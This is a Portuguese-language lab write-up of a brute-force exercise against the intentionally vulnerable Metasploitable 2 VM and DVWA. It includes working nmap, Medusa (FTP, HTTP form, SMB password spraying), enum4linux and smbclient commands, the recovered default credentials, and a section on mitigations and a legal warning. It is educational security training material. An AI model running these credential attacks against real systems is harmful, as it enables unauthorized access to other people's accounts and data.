Ambiente de laboratório controlado · WSL Kali Linux + Oracle VirtualBox + Metasploitable 2
Finalidade: Estudo prático de cibersegurança ofensiva e defensiva
⚠️ Este projeto foi realizado exclusivamente em ambiente isolado para fins educacionais. Nunca aplique estas técnicas em sistemas sem autorização explícita.
- Visão Geral
- Ambiente de Laboratório
- Topologia de Rede
- Fase 1 — Reconhecimento
- Fase 2 — Enumeração de Serviços
- Fase 3 — Ataque Brute Force FTP
- Fase 4 — Ataque Brute Force HTTP (DVWA)
- Fase 5 — Enumeração SMB com enum4linux
- Fase 6 — Password Spraying via SMB
- Fase 7 — Acesso via smbclient
- Resultados e Credenciais Obtidas
- Lições de Segurança
- Referências
Este laboratório simula um ataque de Brute Force completo contra o Metasploitable 2, uma máquina virtual intencionalmente vulnerável criada pela Rapid7 para fins educacionais. O ataque abrange múltiplos vetores:
| Vetor | Protocolo | Ferramenta | Resultado |
|---|---|---|---|
| Login remoto | FTP (porta 21) | Medusa | ✅ Sucesso |
| Aplicação web | HTTP (porta 80) | Medusa | ✅ Sucesso |
| Rede Windows | SMB (porta 445) | Medusa + enum4linux | ✅ Sucesso |
| Partilhas de rede | SMB | smbclient | ✅ Acesso obtido |
| Componente | Detalhes |
|---|---|
| Atacante | WSL 2 — Kali Linux (Windows Subsystem for Linux) |
| Alvo | Metasploitable 2 — Oracle VirtualBox |
| Rede | Host-Only Adapter (isolada do exterior) |
| IP do Alvo | 192.168.1.10 |
| Aplicação Web | DVWA (Damn Vulnerable Web Application) |
| Ferramenta | Função |
|---|---|
nmap |
Scanner de portas e deteção de serviços |
medusa |
Motor de brute force multi-protocolo |
enum4linux |
Enumeração de informações SMB/NetBIOS |
smbclient |
Cliente SMB para acesso a partilhas |
ftp |
Cliente FTP nativo |
ping |
Verificação de conectividade ICMP |
┌─────────────────────────┐ ┌──────────────────────────┐
│ ATACANTE (Kali WSL) │ │ ALVO (Metasploitable 2) │
│ │ │ │
│ ┌───────────────────┐ │ │ ┌─────────────────────┐ │
│ │ WSL 2 / Kali │ │◄───────►│ │ Metasploitable 2 │ │
│ │ Linux │ │ LAN │ │ 192.168.1.10 │ │
│ └───────────────────┘ │ (HO) │ └─────────────────────┘ │
│ │ │ │
│ Ferramentas: │ │ Serviços Expostos: │
│ - medusa │ │ - FTP (21) │
│ - nmap │ │ - SSH (22) │
│ - enum4linux │ │ - HTTP/DVWA (80) │
│ - smbclient │ │ - SMB (139/445) │
└─────────────────────────┘ └──────────────────────────┘
O primeiro passo é confirmar que o alvo está acessível na rede.
sudo ping 192.168.1.10Saída esperada:
PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=0.45 ms
64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=0.38 ms
💡 O que aprendemos: O host está ativo e responde a ICMP. TTL=64 indica sistema Linux.
nmap 192.168.1.10Scan rápido de portas abertas para ter uma visão geral dos serviços.
nmap -sV -p 21,22,80,139,445 192.168.1.10Flags utilizadas:
-sV— Detecta versão dos serviços-p 21,22,80,139,445— Portas específicas: FTP, SSH, HTTP, NetBIOS, SMB
Resultado do Scan:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1
80/tcp open http Apache httpd 2.2.8
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open microsoft-ds Samba smbd 3.0.20
⚠️ vsftpd 2.3.4 é famoso por conter um backdoor (CVE-2011-2523). Samba 3.0.20 também tem vulnerabilidades críticas conhecidas.
ftp 192.168.1.10Verificação do banner e comportamento do serviço FTP antes do ataque automatizado.
# Lista de utilizadores comuns
echo -e "user\nmsfadmin\nadmin\nroot" > users.txt
# Lista de passwords comuns
echo -e "123456\npassword\nqwerty\nmsfadmin" > pass.txtConteúdo dos ficheiros:
users.txt pass.txt
────────── ──────────
user 123456
msfadmin password
admin qwerty
root msfadmin
sudo apt install medusamedusa -h 192.168.1.10 -U users.txt -P pass.txt -M ftp -t 6Flags do Medusa:
| Flag | Descrição |
|---|---|
-h |
Host alvo |
-U |
Ficheiro com lista de utilizadores |
-P |
Ficheiro com lista de passwords |
-M ftp |
Módulo do protocolo (FTP) |
-t 6 |
Número de threads paralelas |
Resultado:
ACCOUNT FOUND: [ftp] Host: 192.168.1.10 User: msfadmin Password: msfadmin [SUCCESS]
ftp 192.168.1.10
# Utilizador: msfadmin
# Password: msfadmin✅ Acesso FTP obtido com as credenciais
msfadmin:msfadmin
O Damn Vulnerable Web Application (DVWA) é uma aplicação web PHP/MySQL propositadamente vulnerável, instalada no Metasploitable 2 em http://192.168.1.10/dvwa/. Permite praticar ataques web de forma legal e controlada.
medusa -h 192.168.1.10 \
-U users.txt \
-P pass.txt \
-M http \
-m PAGE:'/dvwa/login.php' \
-m FORM:'username=^USER^&password=^PASS^&Login=Login' \
-m 'FAIL=Login failed' \
-t 6Parâmetros HTTP específicos:
| Parâmetro | Significado |
|---|---|
-M http |
Módulo HTTP do Medusa |
PAGE:/dvwa/login.php |
Página alvo do formulário |
^USER^ |
Placeholder substituído pelo utilizador atual |
^PASS^ |
Placeholder substituído pela password atual |
FAIL=Login failed |
String que indica falha de autenticação |
Resultado:
ACCOUNT FOUND: [http] Host: 192.168.1.10 User: admin Password: password [SUCCESS]
✅ Acesso DVWA obtido com as credenciais
admin:password
Login confirmado em: http://192.168.1.10/dvwa/login.php
enum4linux é uma ferramenta de enumeração para sistemas Linux/Windows que extrai informações de partilhas SMB, utilizadores, grupos, políticas de senha e muito mais — sem necessitar de autenticação prévia.
sudo apt install enum4linuxenum4linux -a 192.168.1.10 | tee enum4_output.txtFlag -a: Realiza todas as verificações disponíveis:
- Informações do domínio/workgroup
- Lista de utilizadores do sistema
- Lista de partilhas de rede
- Políticas de password
- Informações do sistema operativo
Excerto do output obtido:
==========================
| Target Information |
==========================
Target ........... 192.168.1.10
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================
| Users on 192.168.1.10 |
===========================
user:[msfadmin] rid:[0x3e8]
user:[service] rid:[0x3eb]
user:[user] rid:[0x3ec]
=====================================
| Share Enumeration on 192.168.1.10|
=====================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service
ADMIN$ IPC IPC Service
💡 Informação crítica obtida: Lista de utilizadores reais do sistema sem necessitar de autenticação — uma vulnerabilidade grave de exposição de informação.
Com os utilizadores descobertos pelo enum4linux, criamos wordlists mais direcionadas:
# Utilizadores descobertos pelo enum4linux
echo -e "user\nmsfadmin\nservice" > smb_users.txt
# Passwords comuns para password spraying
echo -e "password\n123456\nWelcome123\nmsfadmin" > senhas_spray.txtmedusa -h 192.168.1.10 \
-U smb_users.txt \
-P senhas_spray.txt \
-M smbnt \
-t 2 \
-T 50Diferença entre -t e -T:
| Flag | Significado |
|---|---|
-t 2 |
Threads por host (conexões simultâneas) |
-T 50 |
Total de hosts paralelos (irrelevante com 1 alvo) |
-M smbnt |
Módulo NTLM para autenticação SMB |
Resultado:
ACCOUNT FOUND: [smbnt] Host: 192.168.1.10 User: msfadmin Password: msfadmin [SUCCESS]
smbclient -L //192.168.1.10 -U msfadminSaída:
Enter WORKGROUP\msfadmin's password: msfadmin
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server)
ADMIN$ IPC IPC Service (metasploitable server)
smbclient //192.168.1.10/tmp -U msfadmin✅ Acesso SMB completo confirmado. A partilha
/tmpestava acessível com comentário "oh noes!" — indicativo intencional de vulnerabilidade.
| Serviço | URL/Endpoint | Utilizador | Password | Método |
|---|---|---|---|---|
| FTP | ftp://192.168.1.10 |
msfadmin |
msfadmin |
Brute Force (Medusa) |
| HTTP/DVWA | http://192.168.1.10/dvwa/ |
admin |
password |
Brute Force HTTP (Medusa) |
| SMB/CIFS | //192.168.1.10/ |
msfadmin |
msfadmin |
Password Spray (Medusa) |
Via enum4linux:
msfadminserviceuser
print$— Drivers de impressoratmp— Diretório temporário (acesso aberto)opt— Diretório opcionalIPC$— Canal IPC do sistema
┌─────────────────────────────────────────────────────────┐
│ 1. Credenciais padrão não alteradas (default creds) │
│ → msfadmin:msfadmin, admin:password │
├─────────────────────────────────────────────────────────┤
│ 2. Ausência de rate limiting / bloqueio por tentativas │
│ → Medusa conseguiu fazer centenas de tentativas │
├─────────────────────────────────────────────────────────┤
│ 3. Enumeração SMB sem autenticação │
│ → enum4linux listou todos os utilizadores │
├─────────────────────────────────────────────────────────┤
│ 4. Partilhas de rede mal configuradas │
│ → /tmp acessível publicamente │
├─────────────────────────────────────────────────────────┤
│ 5. Versões desatualizadas com CVEs conhecidas │
│ → vsftpd 2.3.4 (backdoor), Samba 3.0.20 │
└─────────────────────────────────────────────────────────┘
| Vulnerabilidade | Mitigação Recomendada |
|---|---|
| Credenciais padrão | Alterar todas as passwords no primeiro acesso |
| Ausência de bloqueio | Implementar fail2ban ou rate limiting |
| Enumeração SMB | Desativar sessões null / autenticação anónima |
| Partilhas expostas | Restringir ACLs nas partilhas de rede |
| Sofware desatualizado | Manter todos os serviços atualizados (patch management) |
| Passwords fracas | Implementar política de passwords fortes + MFA |
# Exemplo: Instalar e configurar fail2ban para proteção contra brute force
sudo apt install fail2ban
sudo systemctl enable fail2ban
# Exemplo: Verificar tentativas de login falhadas no Linux
sudo grep "Failed password" /var/log/auth.log | tail -20
# Exemplo: Bloquear IP manualmente
sudo iptables -A INPUT -s 192.168.1.100 -j DROP| Recurso | Descrição |
|---|---|
| Metasploitable 2 Documentation | Documentação oficial do alvo |
| DVWA GitHub | Repositório do Damn Vulnerable Web App |
| Medusa Man Page | Documentação completa do Medusa |
| Nmap Reference Guide | Guia de referência do Nmap |
| enum4linux | Repositório do enum4linux |
| OWASP Brute Force | OWASP sobre ataques de brute force |
| MITRE ATT&CK T1110 | Técnica de Brute Force no framework MITRE |
Este laboratório foi conduzido exclusivamente num ambiente isolado e controlado, utilizando o Metasploitable 2 — uma máquina virtual criada especificamente para ser vulnerável e usada em treinos de cibersegurança.
Nunca aplique estas técnicas em sistemas reais sem autorização expressa e por escrito do proprietário.
A realização de ataques não autorizados é crime em Angola (Lei 23/11 da Cibercriminalidade) e em praticamente todos os países.O objetivo deste projeto é educacional: compreender como os ataques funcionam para melhor se defender contra eles.
Desenvolvido para fins educativos de Cibersegurança
🔐 "Know your enemy to defend yourself"